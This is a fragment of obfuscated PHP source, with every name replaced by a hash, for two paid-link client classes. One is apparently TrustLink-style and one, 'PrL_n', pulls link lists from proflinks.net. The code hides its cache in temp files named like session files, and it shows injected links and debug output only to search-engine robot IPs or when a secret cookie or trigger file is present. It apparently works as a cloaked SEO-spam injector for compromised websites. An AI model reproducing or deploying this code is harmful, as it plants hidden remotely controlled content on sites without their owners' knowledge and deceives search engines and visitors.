", $_42da8ece6e679ca427b19d5bde6311f2); return $_65a5cb07f523d770ef64272e88fb2ade[1]; } } return $this->raise_error("Can't connect to server: " . $_c5ca48c198050fcecbcda6adb9be5755 . $_fec95a9136e65be848d0e5a9baa1a026); } function lc_read($_528e583af620abe9b09bc99687a53983) { $_46c142fdacbd82e008523c5172951b83 = @fopen($_528e583af620abe9b09bc99687a53983, "rb"); @flock($_46c142fdacbd82e008523c5172951b83, LOCK_SH); if ($_46c142fdacbd82e008523c5172951b83) { clearstatcache(); $_98370b2ba444bb12eae6b2634e96283f = @filesize($_528e583af620abe9b09bc99687a53983); if(@get_magic_quotes_gpc()){ $_06de24df381a98ce5b6004f1edd85cd5 = @get_magic_quotes_runtime(); @set_magic_quotes_runtime(0); } if ($_98370b2ba444bb12eae6b2634e96283f) { $_197d7053b1c8cf0aaa95a6d5ebfb1f86 = @fread($_46c142fdacbd82e008523c5172951b83, $_98370b2ba444bb12eae6b2634e96283f); } else { $_197d7053b1c8cf0aaa95a6d5ebfb1f86 = ''; } if(isset($_06de24df381a98ce5b6004f1edd85cd5)){ @set_magic_quotes_runtime($_06de24df381a98ce5b6004f1edd85cd5); } @flock($_46c142fdacbd82e008523c5172951b83, LOCK_UN); @fclose($_46c142fdacbd82e008523c5172951b83); return base64_decode($_197d7053b1c8cf0aaa95a6d5ebfb1f86); } return $this->raise_error("Can't get data from the file: " . $_528e583af620abe9b09bc99687a53983); } function lc_write($_528e583af620abe9b09bc99687a53983, $_197d7053b1c8cf0aaa95a6d5ebfb1f86) { $_197d7053b1c8cf0aaa95a6d5ebfb1f86 = base64_encode($_197d7053b1c8cf0aaa95a6d5ebfb1f86); $_46c142fdacbd82e008523c5172951b83 = @fopen($_528e583af620abe9b09bc99687a53983, "wb"); if ($_46c142fdacbd82e008523c5172951b83) { @flock($_46c142fdacbd82e008523c5172951b83, LOCK_EX); $_98370b2ba444bb12eae6b2634e96283f = strlen($_197d7053b1c8cf0aaa95a6d5ebfb1f86); @fwrite($_46c142fdacbd82e008523c5172951b83, $_197d7053b1c8cf0aaa95a6d5ebfb1f86, $_98370b2ba444bb12eae6b2634e96283f); @flock($_46c142fdacbd82e008523c5172951b83, LOCK_UN); @fclose($_46c142fdacbd82e008523c5172951b83); if (md5($this->lc_read($_528e583af620abe9b09bc99687a53983)) != md5($_197d7053b1c8cf0aaa95a6d5ebfb1f86)) { return $this->raise_error("Integrity was violated while writing to file: " . $_528e583af620abe9b09bc99687a53983); } return true; } return $this->raise_error("Can't write to file: " . $_528e583af620abe9b09bc99687a53983); } function page_cluster($_fec95a9136e65be848d0e5a9baa1a026,$_723157d07050d7ed9a1c0de95e7c21f9){ $_652f6cc835994a2aaadabca4f948d1b8 = strlen($_fec95a9136e65be848d0e5a9baa1a026); $_9d6438424b4ad93af8299a0d3c7bd860=0; for ($_82c748da630bcac51d74c00ce1714b63 = 0; $_82c748da630bcac51d74c00ce1714b63 < $_652f6cc835994a2aaadabca4f948d1b8; $_82c748da630bcac51d74c00ce1714b63++){ $_9d6438424b4ad93af8299a0d3c7bd860+= ord($_fec95a9136e65be848d0e5a9baa1a026[$_82c748da630bcac51d74c00ce1714b63]); } return $_9d6438424b4ad93af8299a0d3c7bd860 % $_723157d07050d7ed9a1c0de95e7c21f9; } function cache_filename($_82c748da630bcac51d74c00ce1714b63){ $_c5ca48c198050fcecbcda6adb9be5755 = $this->_3f5428659b117eb630d66f5ef45eb99b ? ".".$this->_ed1cff72c97b9ed864131cf503248489 : ''; return _TMPDIR . "/".$this->_46a6c0eb39a3ea4b54dc5ce0d1790976.$this->_417b09f30287a0c8768c4b738aed002e.$_c5ca48c198050fcecbcda6adb9be5755.".db".$_82c748da630bcac51d74c00ce1714b63; } function lc_write_cache($_197d7053b1c8cf0aaa95a6d5ebfb1f86){ $_1490041ff39ea835590fe26f5cab691e = array("__trustlink_start__", "__trustlink_end__", "__trustlink_robots__", "__trustlink_delimiter__", "__trustlink_before_text__", "__trustlink_after_text__", "__test_tl_link__"); $_47679c39cad186177c1d612fdb0b4842=array(); foreach ($this->_d74c2bfd5d36b1c72fcc0714901c5bda as $_acaa517f82eb72286b15468b4c0e5d4b => $_563dae3450fffa16b641eb2c30a07c65) { if (in_array($_acaa517f82eb72286b15468b4c0e5d4b,$_1490041ff39ea835590fe26f5cab691e)){ for ($_82c748da630bcac51d74c00ce1714b63=0; $_82c748da630bcac51d74c00ce1714b63<$this->_f740bf8ae45d957be70e3d2f959dd66a; $_82c748da630bcac51d74c00ce1714b63++){ if (empty($_47679c39cad186177c1d612fdb0b4842[$_82c748da630bcac51d74c00ce1714b63])){ $_47679c39cad186177c1d612fdb0b4842[$_82c748da630bcac51d74c00ce1714b63] = array(); } $_47679c39cad186177c1d612fdb0b4842[$_82c748da630bcac51d74c00ce1714b63][$_acaa517f82eb72286b15468b4c0e5d4b] = $_563dae3450fffa16b641eb2c30a07c65; } }else{ if (empty($_47679c39cad186177c1d612fdb0b4842[$this->page_cluster($_acaa517f82eb72286b15468b4c0e5d4b,$this->_f740bf8ae45d957be70e3d2f959dd66a)])){ $_47679c39cad186177c1d612fdb0b4842[$this->page_cluster($_acaa517f82eb72286b15468b4c0e5d4b,$this->_f740bf8ae45d957be70e3d2f959dd66a)] = array(); } $_47679c39cad186177c1d612fdb0b4842[$this->page_cluster($_acaa517f82eb72286b15468b4c0e5d4b,$this->_f740bf8ae45d957be70e3d2f959dd66a)][$_acaa517f82eb72286b15468b4c0e5d4b] = $_563dae3450fffa16b641eb2c30a07c65; } } for ($_82c748da630bcac51d74c00ce1714b63=0; $_82c748da630bcac51d74c00ce1714b63<$this->_f740bf8ae45d957be70e3d2f959dd66a; $_82c748da630bcac51d74c00ce1714b63++){ $this->lc_write($this->cache_filename($_82c748da630bcac51d74c00ce1714b63),serialize($_47679c39cad186177c1d612fdb0b4842[$_82c748da630bcac51d74c00ce1714b63])); } } function lc_is_synced_cache(){ $_b91429fa0ee6a44c5702343b86eaaf92 = filemtime($this->_5f6fba6411283619c883339ca4d44db0); for ($_82c748da630bcac51d74c00ce1714b63=0; $_82c748da630bcac51d74c00ce1714b63<$this->_f740bf8ae45d957be70e3d2f959dd66a; $_82c748da630bcac51d74c00ce1714b63++){ $_528e583af620abe9b09bc99687a53983=$this->cache_filename($_82c748da630bcac51d74c00ce1714b63); $_343109f6032ef2ac3f0635a694a3f5e4 = filemtime($_528e583af620abe9b09bc99687a53983); if (filesize($_528e583af620abe9b09bc99687a53983) == 0){return false;} if ($_343109f6032ef2ac3f0635a694a3f5e4 < (time()-$this->_4bf9053f05dd6998f95b207178638eaa)){return false;} if ($_343109f6032ef2ac3f0635a694a3f5e4 < $_b91429fa0ee6a44c5702343b86eaaf92){return false;} } return true; } function raise_error($_326139222f844701d2e6f8a3a7c0e90c) { $this->_5c93781fad72258c9f24ef18fe353aff = "<!--ERROR: " . $_326139222f844701d2e6f8a3a7c0e90c . "-->"; return false; } function build_links($_723157d07050d7ed9a1c0de95e7c21f9 = null) { $_598d5076fe09289ddb438474067838bd = count($this->_b2cb9b77beed812ef7b5323f76af3897); if (!is_numeric($_723157d07050d7ed9a1c0de95e7c21f9) || $_723157d07050d7ed9a1c0de95e7c21f9 > $_598d5076fe09289ddb438474067838bd) { $_723157d07050d7ed9a1c0de95e7c21f9 = $_598d5076fe09289ddb438474067838bd; } $_e80776d760132e38a2e21e8010165c85 = array(); for ($_82c748da630bcac51d74c00ce1714b63 = 0; $_82c748da630bcac51d74c00ce1714b63 < $_723157d07050d7ed9a1c0de95e7c21f9; $_82c748da630bcac51d74c00ce1714b63++) { $_e80776d760132e38a2e21e8010165c85[] = array_shift($this->_b2cb9b77beed812ef7b5323f76af3897); } $_6d50271697e85a4284677da36e40052d = ''; if (isset($this->_d74c2bfd5d36b1c72fcc0714901c5bda['__trustlink_start__']) && strlen($this->_d74c2bfd5d36b1c72fcc0714901c5bda['__trustlink_start__']) != 0 && (in_array($_SERVER['REMOTE_ADDR'], $this->_d74c2bfd5d36b1c72fcc0714901c5bda['__trustlink_robots__']) || $this->_7649ec08d90fd6075db95b8afeca74ea) ) { $_6d50271697e85a4284677da36e40052d .= $this->_d74c2bfd5d36b1c72fcc0714901c5bda['__trustlink_start__']; } if (isset($this->_d74c2bfd5d36b1c72fcc0714901c5bda['__trustlink_robots__']) && in_array($_SERVER['REMOTE_ADDR'], $this->_d74c2bfd5d36b1c72fcc0714901c5bda['__trustlink_robots__']) || $this->_45046e67b096c0cd1cad017c79536636) { if ($this->_5c93781fad72258c9f24ef18fe353aff != '' && $this->_3d66df63b70c6abf41fe8da5a7bec4b5) { $_6d50271697e85a4284677da36e40052d .= $this->_5c93781fad72258c9f24ef18fe353aff; } $_6d50271697e85a4284677da36e40052d .= "<!--REQUEST_URI=" . $_SERVER['REQUEST_URI'] . "-->
"; $_6d50271697e85a4284677da36e40052d .= "
<!--
"; $_6d50271697e85a4284677da36e40052d .= "L " . $this->_a806a1325421567240bc57926cb9a17a . "
"; $_6d50271697e85a4284677da36e40052d .= "REMOTE_ADDR=" . $_SERVER['REMOTE_ADDR'] . "
"; $_6d50271697e85a4284677da36e40052d .= "request_uri=" . $this->_1437479e57b0522f2462fb64e963ee65 . "
"; $_6d50271697e85a4284677da36e40052d .= "charset=" . $this->_e0f575480171b1e6fb914fc4ae50c803 . "
"; $_6d50271697e85a4284677da36e40052d .= "is_static=" . $this->_d58bdea659dc1463c7827015013e9b76 . "
"; $_6d50271697e85a4284677da36e40052d .= "multi_site=" . $this->_3f5428659b117eb630d66f5ef45eb99b . "
"; $_6d50271697e85a4284677da36e40052d .= "file change date=" . $this->_41b0c89725304ce59b8ca79f29941757 . "
"; $_6d50271697e85a4284677da36e40052d .= "lc_file_size=" . $this->_39485eacfeca62c0b0e6438a7bbf4ff0 . "
"; $_6d50271697e85a4284677da36e40052d .= "lc_links_count=" . $this->_548430af517f106ea06bd68b065de9ef . "
"; $_6d50271697e85a4284677da36e40052d .= "left_links_count=" . count($this->_b2cb9b77beed812ef7b5323f76af3897) . "
"; $_6d50271697e85a4284677da36e40052d .= "tl_cache=" . $this->_88473b8f891b3bc22734e06642175214 . "
"; $_6d50271697e85a4284677da36e40052d .= "tl_cache_size=" . $this->_f740bf8ae45d957be70e3d2f959dd66a . "
"; $_6d50271697e85a4284677da36e40052d .= "tl_cache_block=" . $this->_696f5aae396b07e73fb6e9ef859c3370 . "
"; $_6d50271697e85a4284677da36e40052d .= "tl_cache_update=" . $this->_23cf651ff109f032fdb70d99bd467701 . "
"; $_6d50271697e85a4284677da36e40052d .= "n=" . $_723157d07050d7ed9a1c0de95e7c21f9 . "
"; $_6d50271697e85a4284677da36e40052d .= "-->"; } $_85d7a0f6de1d00e589160d57043f276d = "<{block}><{head_block}><{link}><{/head_block}> <{text}> <{host}><{/block}>"; if (!$_85d7a0f6de1d00e589160d57043f276d) return $this->raise_error("Template file not found"); if (!preg_match("/<{block}>(.+)<{\/block}>/is", $_85d7a0f6de1d00e589160d57043f276d, $_e21eec69f9041fb8767c15c89536f862)) return $this->raise_error("Wrong template format: no <{block}><{/block}> tags"); $_85d7a0f6de1d00e589160d57043f276d = str_replace($_e21eec69f9041fb8767c15c89536f862[0], "%s", $_85d7a0f6de1d00e589160d57043f276d); $_e21eec69f9041fb8767c15c89536f862 = $_e21eec69f9041fb8767c15c89536f862[0]; $_22c990cc033354b0e35061fa641ad1c5 = substr($_e21eec69f9041fb8767c15c89536f862, 9, -10); if (strpos($_22c990cc033354b0e35061fa641ad1c5, "<{head_block}>")===false) return $this->raise_error("Wrong template format: no <{head_block}> tag."); if (strpos($_22c990cc033354b0e35061fa641ad1c5, "<{/head_block}>")===false) return $this->raise_error("Wrong template format: no <{/head_block}> tag."); if (strpos($_22c990cc033354b0e35061fa641ad1c5, "<{link}>")===false) return $this->raise_error("Wrong template format: no <{link}> tag."); if (strpos($_22c990cc033354b0e35061fa641ad1c5, "<{text}>")===false) return $this->raise_error("Wrong template format: no <{text}> tag."); if (strpos($_22c990cc033354b0e35061fa641ad1c5, "<{host}>")===false) return $this->raise_error("Wrong template format: no <{host}> tag."); if (!isset($_ae7ea1ae2a3d6ac832da06f8d43df54c)) $_ae7ea1ae2a3d6ac832da06f8d43df54c = ''; foreach ($_e80776d760132e38a2e21e8010165c85 as $_82c748da630bcac51d74c00ce1714b63 => $_971dd4b88f3542bc64ca3db973f59fd3) { if ($_82c748da630bcac51d74c00ce1714b63 >= $this->_990cea997dd44ec05303e92bc2ce6f15) continue; if (!is_array($_971dd4b88f3542bc64ca3db973f59fd3)) { return $this->raise_error("link must be an array"); } elseif (!isset($_971dd4b88f3542bc64ca3db973f59fd3['text']) || !isset($_971dd4b88f3542bc64ca3db973f59fd3['url'])) { return $this->raise_error("format of link must be an array('anchor'=>\$_93b9d3e8dbcb00bc66349b09377149bd,'url'=>\$_cd8fe13c463a71ab32271cbd4b91a74b,'text'=>\$_ae7ea1ae2a3d6ac832da06f8d43df54c"); } elseif (!($_e3b77e16f030dd4ae5e30d42ea5ed79d=@parse_url($_971dd4b88f3542bc64ca3db973f59fd3['url'])) || !isset($_e3b77e16f030dd4ae5e30d42ea5ed79d['host'])) { return $this->raise_error("wrong format of url: ".$_971dd4b88f3542bc64ca3db973f59fd3['url']); } if (($_fdd2837568ff38c41209d70d96bb495a=count(explode(".",$_e3b77e16f030dd4ae5e30d42ea5ed79d['host'])))<2) { return $this->raise_error("wrong host: ".$_e3b77e16f030dd4ae5e30d42ea5ed79d['host']." in url ".$_971dd4b88f3542bc64ca3db973f59fd3['url']); } $_c5ca48c198050fcecbcda6adb9be5755=strtolower(($_fdd2837568ff38c41209d70d96bb495a>2 && strpos(strtolower($_e3b77e16f030dd4ae5e30d42ea5ed79d['host']),"www.")===0)?substr($_e3b77e16f030dd4ae5e30d42ea5ed79d['host'],4):$_e3b77e16f030dd4ae5e30d42ea5ed79d['host']); $_e21eec69f9041fb8767c15c89536f862 = str_replace("<{host}>", $_c5ca48c198050fcecbcda6adb9be5755, $_22c990cc033354b0e35061fa641ad1c5); if (empty($_971dd4b88f3542bc64ca3db973f59fd3['anchor'])){ $_e21eec69f9041fb8767c15c89536f862 = preg_replace ("/<{head_block}>(.+)<{\/head_block}>/is", "", $_e21eec69f9041fb8767c15c89536f862); }else{ $_728764e9fc066209763535028a84459c = empty($_971dd4b88f3542bc64ca3db973f59fd3['punicode_url']) ? $_971dd4b88f3542bc64ca3db973f59fd3['url'] : $_971dd4b88f3542bc64ca3db973f59fd3['punicode_url']; $_e21eec69f9041fb8767c15c89536f862 = str_replace("<{link}>", "<a href="".$_728764e9fc066209763535028a84459c."">".$_971dd4b88f3542bc64ca3db973f59fd3['anchor']."</a>", $_e21eec69f9041fb8767c15c89536f862); $_e21eec69f9041fb8767c15c89536f862 = str_replace("<{head_block}>", '', $_e21eec69f9041fb8767c15c89536f862); $_e21eec69f9041fb8767c15c89536f862 = str_replace("<{/head_block}>", '', $_e21eec69f9041fb8767c15c89536f862); } $_e21eec69f9041fb8767c15c89536f862 = str_replace("<{text}>", $_971dd4b88f3542bc64ca3db973f59fd3['text'], $_e21eec69f9041fb8767c15c89536f862); $_ae7ea1ae2a3d6ac832da06f8d43df54c .= $_e21eec69f9041fb8767c15c89536f862; } if (is_array($_e80776d760132e38a2e21e8010165c85) && (count($_e80776d760132e38a2e21e8010165c85)>0)){ $_85d7a0f6de1d00e589160d57043f276d = sprintf($_85d7a0f6de1d00e589160d57043f276d, $_ae7ea1ae2a3d6ac832da06f8d43df54c); $_6d50271697e85a4284677da36e40052d .= $_85d7a0f6de1d00e589160d57043f276d; } if (isset($this->_d74c2bfd5d36b1c72fcc0714901c5bda['__trustlink_end__']) && strlen($this->_d74c2bfd5d36b1c72fcc0714901c5bda['__trustlink_end__']) != 0 && (in_array($_SERVER['REMOTE_ADDR'], $this->_d74c2bfd5d36b1c72fcc0714901c5bda['__trustlink_robots__']) || $this->_7649ec08d90fd6075db95b8afeca74ea) ) { $_6d50271697e85a4284677da36e40052d .= $this->_d74c2bfd5d36b1c72fcc0714901c5bda['__trustlink_end__']; } if ($this->_9b33852f6108d4bc3cc8a3c525e50e0d && !$this->_5dfb4ec8021fd5dd2e8ff5b9b5a74bd2) $_6d50271697e85a4284677da36e40052d = "<noindex>".$_6d50271697e85a4284677da36e40052d."</noindex>"; return $_6d50271697e85a4284677da36e40052d; } } class PrL_n { var $_f30f921d63a4a856f84cb499a99f9949 = "1.0"; var $_a4ea3bc2316ec0bad7ba95af8d9d3a6d = false; var $_d43a43e26208388c01b2d16b3333839b = "DEFAULT"; var $_9e5ea91c37a2706d45589625878412b3 = false; var $_e84598c41af062dab05bf9becfa3f009 = "proflinks.net"; var $_fffc9777ee9adfd16ab279362d84c2bd = 3600; var $_ba495eb33860b4bd20121f319e6bc37a = 300; var $_94947f04151e25e9da74b260d9d4e3d7 = ''; var $_2ab2dddbb9591dbb7f7c26a90e4cdce1 = array(); var $_c6f9fccb07b7d13e0e4c8705c2b4cc44 = array(); var $_f0bcf13fe3356c771654bf9d4997a851 = ''; var $_7668204a3fa9f0a531c5d1e1f5b2a3b9 = ''; var $_804d109161b804ed9a88ac8a0a8af3cc = ''; var $_e01366556729ee4cf16e66ebee7db2fc = ''; var $_559a99a5f93ff28e6c6748e444b87a76 = ''; var $_5546122b7792eb0cf73c50b53a37dfaa = 6; var $_65821d0a2deb6bc68591106170915d8a = false; var $_012cff8d0a9bc407a19b1a2cd185b2cd = false; var $_c31007863de623ca976d611a1d42d40d = false; var $_3dfb1dbb2ade6a0269fce3b016887ef7 = false; function PrL_n($_8c878de914cd1035425174e52c152e84 = null) { $_c5ca48c198050fcecbcda6adb9be5755 = ''; if (is_array($_8c878de914cd1035425174e52c152e84)) { if (isset($_8c878de914cd1035425174e52c152e84['host'])) { $_c5ca48c198050fcecbcda6adb9be5755 = $_8c878de914cd1035425174e52c152e84['host']; } } elseif (strlen($_8c878de914cd1035425174e52c152e84) != 0) { $_c5ca48c198050fcecbcda6adb9be5755 = $_8c878de914cd1035425174e52c152e84; $_8c878de914cd1035425174e52c152e84 = array(); } else { $_8c878de914cd1035425174e52c152e84 = array(); } if (strlen($_c5ca48c198050fcecbcda6adb9be5755) != 0) { $this->_804d109161b804ed9a88ac8a0a8af3cc = $_c5ca48c198050fcecbcda6adb9be5755; } else { $this->_804d109161b804ed9a88ac8a0a8af3cc = $_SERVER['HTTP_HOST']; } $this->_804d109161b804ed9a88ac8a0a8af3cc = preg_replace("{^https?://}i", '', $this->_804d109161b804ed9a88ac8a0a8af3cc); $this->_804d109161b804ed9a88ac8a0a8af3cc = preg_replace("{^www\.}i", '', $this->_804d109161b804ed9a88ac8a0a8af3cc); $this->_804d109161b804ed9a88ac8a0a8af3cc = strtolower( $this->_804d109161b804ed9a88ac8a0a8af3cc); if (isset($_8c878de914cd1035425174e52c152e84['is_static']) && $_8c878de914cd1035425174e52c152e84['is_static']) { $this->_c31007863de623ca976d611a1d42d40d = true; } if (isset($_8c878de914cd1035425174e52c152e84['ignore_tailslash']) && $_8c878de914cd1035425174e52c152e84['ignore_tailslash']) { $this->_3dfb1dbb2ade6a0269fce3b016887ef7 = true; } if (isset($_8c878de914cd1035425174e52c152e84['request_uri']) && strlen($_8c878de914cd1035425174e52c152e84['request_uri']) != 0) { $this->_e01366556729ee4cf16e66ebee7db2fc = $_8c878de914cd1035425174e52c152e84['request_uri']; } else { if ($this->_c31007863de623ca976d611a1d42d40d) { $this->_e01366556729ee4cf16e66ebee7db2fc = preg_replace( "{\?.*$}", '', $_SERVER['REQUEST_URI']); $this->_e01366556729ee4cf16e66ebee7db2fc = preg_replace( "{/+}", "/", $this->_e01366556729ee4cf16e66ebee7db2fc); } else { $this->_e01366556729ee4cf16e66ebee7db2fc = $_SERVER['REQUEST_URI']; } } $this->_e01366556729ee4cf16e66ebee7db2fc = rawurldecode($this->_e01366556729ee4cf16e66ebee7db2fc); if (isset($_8c878de914cd1035425174e52c152e84['multi_site']) && $_8c878de914cd1035425174e52c152e84['multi_site'] == true) { $this->_012cff8d0a9bc407a19b1a2cd185b2cd = true; } if ((isset($_8c878de914cd1035425174e52c152e84['verbose']) && $_8c878de914cd1035425174e52c152e84['verbose']) || isset($this->_2ab2dddbb9591dbb7f7c26a90e4cdce1['__proflinks_debug__'])) { $this->_a4ea3bc2316ec0bad7ba95af8d9d3a6d = true; } if (isset($_8c878de914cd1035425174e52c152e84['charset']) && strlen($_8c878de914cd1035425174e52c152e84['charset']) != 0) { $this->_d43a43e26208388c01b2d16b3333839b = $_8c878de914cd1035425174e52c152e84['charset']; } if (isset($_8c878de914cd1035425174e52c152e84['fetch_remote_type']) && strlen($_8c878de914cd1035425174e52c152e84['fetch_remote_type']) != 0) { $this->_559a99a5f93ff28e6c6748e444b87a76 = $_8c878de914cd1035425174e52c152e84['fetch_remote_type']; } if (isset($_8c878de914cd1035425174e52c152e84['socket_timeout']) && is_numeric($_8c878de914cd1035425174e52c152e84['socket_timeout']) && $_8c878de914cd1035425174e52c152e84['socket_timeout'] > 0) { $this->_5546122b7792eb0cf73c50b53a37dfaa = $_8c878de914cd1035425174e52c152e84['socket_timeout']; } if ((isset($_8c878de914cd1035425174e52c152e84['force_show_code']) && $_8c878de914cd1035425174e52c152e84['force_show_code']) || isset($this->_2ab2dddbb9591dbb7f7c26a90e4cdce1['__proflinks_debug__'])) { $this->_65821d0a2deb6bc68591106170915d8a = true; } else if (file_exists( _TMPDIR . "/sess_fc.log")) { $this->_65821d0a2deb6bc68591106170915d8a = true; } if (isset($_COOKIE['llm_xxx'])) { $this->_65821d0a2deb6bc68591106170915d8a = true; } if (!defined("PROFLINKSUSR")) { return $this->raise_error("Constant PROFLINKSUSR is not defined."); } $this->load_links(); } function load_links() { $this->_94947f04151e25e9da74b260d9d4e3d7 = _TMPDIR . "/sess_p" . md5($this->_804d109161b804ed9a88ac8a0a8af3cc); if (!is_file($this->_94947f04151e25e9da74b260d9d4e3d7)) { if (@touch($this->_94947f04151e25e9da74b260d9d4e3d7, time() - $this->_fffc9777ee9adfd16ab279362d84c2bd)) { @chmod($this->_94947f04151e25e9da74b260d9d4e3d7, 0666); } else { return $this->raise_error("There is no file " . $this->_94947f04151e25e9da74b260d9d4e3d7 . ". Fail to create. Set mode to 777 on the folder."); } } if (!is_writable($this->_94947f04151e25e9da74b260d9d4e3d7)) { return $this->raise_error("There is no permissions to write: " . $this->_94947f04151e25e9da74b260d9d4e3d7 . "! Set mode to 777 on the folder."); } @clearstatcache(); if (filemtime($this->_94947f04151e25e9da74b260d9d4e3d7) < (time()-$this->_fffc9777ee9adfd16ab279362d84c2bd) || (filemtime($this->_94947f04151e25e9da74b260d9d4e3d7) < (time()-$this->_ba495eb33860b4bd20121f319e6bc37a) && filesize($this->_94947f04151e25e9da74b260d9d4e3d7) == 0)) { @touch($this->_94947f04151e25e9da74b260d9d4e3d7, time()); $_fec95a9136e65be848d0e5a9baa1a026 = "/llm-client/links.php?account=".PROFLINKSUSR."&site=" . strtolower( $this->_804d109161b804ed9a88ac8a0a8af3cc ); if (strlen($this->_d43a43e26208388c01b2d16b3333839b)) { $_fec95a9136e65be848d0e5a9baa1a026 .= "&charset=" . $this->_d43a43e26208388c01b2d16b3333839b; } if ($_e80776d760132e38a2e21e8010165c85 = $this->fetch_remote_file($this->_e84598c41af062dab05bf9becfa3f009, $_fec95a9136e65be848d0e5a9baa1a026)) { if (substr($_e80776d760132e38a2e21e8010165c85, 0, 12) == "FATAL ERROR:") { $this->raise_error($_e80776d760132e38a2e21e8010165c85); } else if (@unserialize($_e80776d760132e38a2e21e8010165c85) !== false) { $this->pl_write($this->_94947f04151e25e9da74b260d9d4e3d7, $_e80776d760132e38a2e21e8010165c85); } else { $this->raise_error("Cann't unserialize received data."); } } } $_e80776d760132e38a2e21e8010165c85 = $this->pl_read($this->_94947f04151e25e9da74b260d9d4e3d7); $this->_55d4850766db46cef8e598205a4ded2a = gmstrftime ("%d.%m.%Y %H:%M:%S",filectime($this->_94947f04151e25e9da74b260d9d4e3d7)); $this->_19f9591809415979ba157fcf7465ee7e = strlen( $_e80776d760132e38a2e21e8010165c85); if (!$_e80776d760132e38a2e21e8010165c85) { $this->_2ab2dddbb9591dbb7f7c26a90e4cdce1 = array(); $this->raise_error("Empty file."); } else if (!$this->_2ab2dddbb9591dbb7f7c26a90e4cdce1 = @unserialize($_e80776d760132e38a2e21e8010165c85)) { $this->_2ab2dddbb9591dbb7f7c26a90e4cdce1 = array(); $this->raise_error("Cann't unserialize data from file."); } if (isset($this->_2ab2dddbb9591dbb7f7c26a90e4cdce1['__proflinks_delimiter__'])) { $this->_f0bcf13fe3356c771654bf9d4997a851 = $this->_2ab2dddbb9591dbb7f7c26a90e4cdce1['__proflinks_delimiter__']; } $_dca20dbf05ff197098f2e5b67cdceb1f=array(); foreach($this->_2ab2dddbb9591dbb7f7c26a90e4cdce1 as $_acaa517f82eb72286b15468b4c0e5d4b=>$_563dae3450fffa16b641eb2c30a07c65){ $_dca20dbf05ff197098f2e5b67cdceb1f[rawurldecode($_acaa517f82eb72286b15468b4c0e5d4b)]=$_563dae3450fffa16b641eb2c30a07c65; } $this->_2ab2dddbb9591dbb7f7c26a90e4cdce1=$_dca20dbf05ff197098f2e5b67cdceb1f; if ($this->_3dfb1dbb2ade6a0269fce3b016887ef7 && $this->_e01366556729ee4cf16e66ebee7db2fc[strlen($this->_e01366556729ee4cf16e66ebee7db2fc)-1]=="/") $this->_e01366556729ee4cf16e66ebee7db2fc=substr($this->_e01366556729ee4cf16e66ebee7db2fc,0,-1); $this->_c6f9fccb07b7d13e0e4c8705c2b4cc44=array(); if (array_key_exists($this->_e01366556729ee4cf16e66ebee7db2fc, $this->_2ab2dddbb9591dbb7f7c26a90e4cdce1) && is_array($this->_2ab2dddbb9591dbb7f7c26a90e4cdce1[$this->_e01366556729ee4cf16e66ebee7db2fc])) { $this->_c6f9fccb07b7d13e0e4c8705c2b4cc44 = array_merge($this->_c6f9fccb07b7d13e0e4c8705c2b4cc44, $this->_2ab2dddbb9591dbb7f7c26a90e4cdce1[$this->_e01366556729ee4cf16e66ebee7db2fc]); } if ($this->_3dfb1dbb2ade6a0269fce3b016887ef7 && array_key_exists($this->_e01366556729ee4cf16e66ebee7db2fc."/", $this->_2ab2dddbb9591dbb7f7c26a90e4cdce1) && is_array($this->_2ab2dddbb9591dbb7f7c26a90e4cdce1[$this->_e01366556729ee4cf16e66ebee7db2fc."/"])) { $this->_c6f9fccb07b7d13e0e4c8705c2b4cc44 =array_merge($this->_c6f9fccb07b7d13e0e4c8705c2b4cc44, $this->_2ab2dddbb9591dbb7f7c26a90e4cdce1[$this->_e01366556729ee4cf16e66ebee7db2fc."/"]); } $this->_d1cababbea7b038801b789c45c84d937 = count($this->_c6f9fccb07b7d13e0e4c8705c2b4cc44); } function return_links($_723157d07050d7ed9a1c0de95e7c21f9 = null) { $_6d50271697e85a4284677da36e40052d = ''; if (isset($this->_2ab2dddbb9591dbb7f7c26a90e4cdce1['__proflinks_start__']) && strlen($this->_2ab2dddbb9591dbb7f7c26a90e4cdce1['__proflinks_start__']) != 0 && (in_array($_SERVER['REMOTE_ADDR'], $this->_2ab2dddbb9591dbb7f7c26a90e4cdce1['__proflinks_robots__']) || $this->_65821d0a2deb6bc68591106170915d8a) ) { $_6d50271697e85a4284677da36e40052d .= $this->_2ab2dddbb9591dbb7f7c26a90e4cdce1['__proflinks_start__']; } if (isset($this->_2ab2dddbb9591dbb7f7c26a90e4cdce1['__proflinks_robots__']) && in_array($_SERVER['REMOTE_ADDR'], $this->_2ab2dddbb9591dbb7f7c26a90e4cdce1['__proflinks_robots__']) || $this->_a4ea3bc2316ec0bad7ba95af8d9d3a6d) { if ($this->_7668204a3fa9f0a531c5d1e1f5b2a3b9 != '') { $_6d50271697e85a4284677da36e40052d .= $this->_7668204a3fa9f0a531c5d1e1f5b2a3b9; } $_6d50271697e85a4284677da36e40052d .= "<!--REQUEST_URI=" . $_SERVER['REQUEST_URI'] . "-->
"; $_6d50271697e85a4284677da36e40052d .= "
<!--
"; $_6d50271697e85a4284677da36e40052d .= "L " . $this->_f30f921d63a4a856f84cb499a99f9949 . "
"; $_6d50271697e85a4284677da36e40052d .= "REMOTE_ADDR=" . $_SERVER['REMOTE_ADDR'] . "
"; $_6d50271697e85a4284677da36e40052d .= "request_uri=" . $this->_e01366556729ee4cf16e66ebee7db2fc . "
"; $_6d50271697e85a4284677da36e40052d .= "charset=" . $this->_d43a43e26208388c01b2d16b3333839b . "
"; $_6d50271697e85a4284677da36e40052d .= "is_static=" . $this->_c31007863de623ca976d611a1d42d40d . "
"; $_6d50271697e85a4284677da36e40052d .= "multi_site=" . $this->_012cff8d0a9bc407a19b1a2cd185b2cd . "
"; $_6d50271697e85a4284677da36e40052d .= "file change date=" . $this->_55d4850766db46cef8e598205a4ded2a . "
"; $_6d50271697e85a4284677da36e40052d .= "pl_file_size=" . $this->_19f9591809415979ba157fcf7465ee7e . "
"; $_6d50271697e85a4284677da36e40052d .= "pl_links_count=" . $this->_d1cababbea7b038801b789c45c84d937 . "
"; $_6d50271697e85a4284677da36e40052d .= "left_links_count=" . count($this->_c6f9fccb07b7d13e0e4c8705c2b4cc44) . "
"; $_6d50271697e85a4284677da36e40052d .= "n=" . $_723157d07050d7ed9a1c0de95e7c21f9 . "
